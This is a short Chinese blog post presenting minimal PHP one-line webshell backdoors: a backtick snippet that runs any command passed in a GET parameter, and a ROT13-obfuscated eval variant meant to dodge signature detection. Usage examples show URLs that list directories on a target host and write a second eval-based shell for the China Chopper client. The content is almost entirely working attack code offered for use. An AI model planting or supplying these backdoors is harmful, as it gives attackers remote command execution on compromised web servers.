您的位置:首页 > 运维架构 > Shell

php最短一句话后门webshell

2015-09-11 00:00 471 查看
摘要: php最短一句话后门 反引号webshell

<?php
@`$_GET[c]`; //反引号执行
?>

preg_replace("//e",@str_rot13('@riny($_CBFG[p])'),"");
//str_rot13('@riny($_CBFG[p])') == eval($_POST[c])
//字符串执行 ROT13 转换特征码,php version < 5.5.0 /e修饰符才可执行

调用示例:

#生成当前目录列表dir.txt http://target_host/webshell.php?c=dir%20>dir.txt 
#生成菜刀可调用的POST Shell http://target_host/webshell.php?c=echo%20"<?php @eval($_POST[c]);>" > newshell.php
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息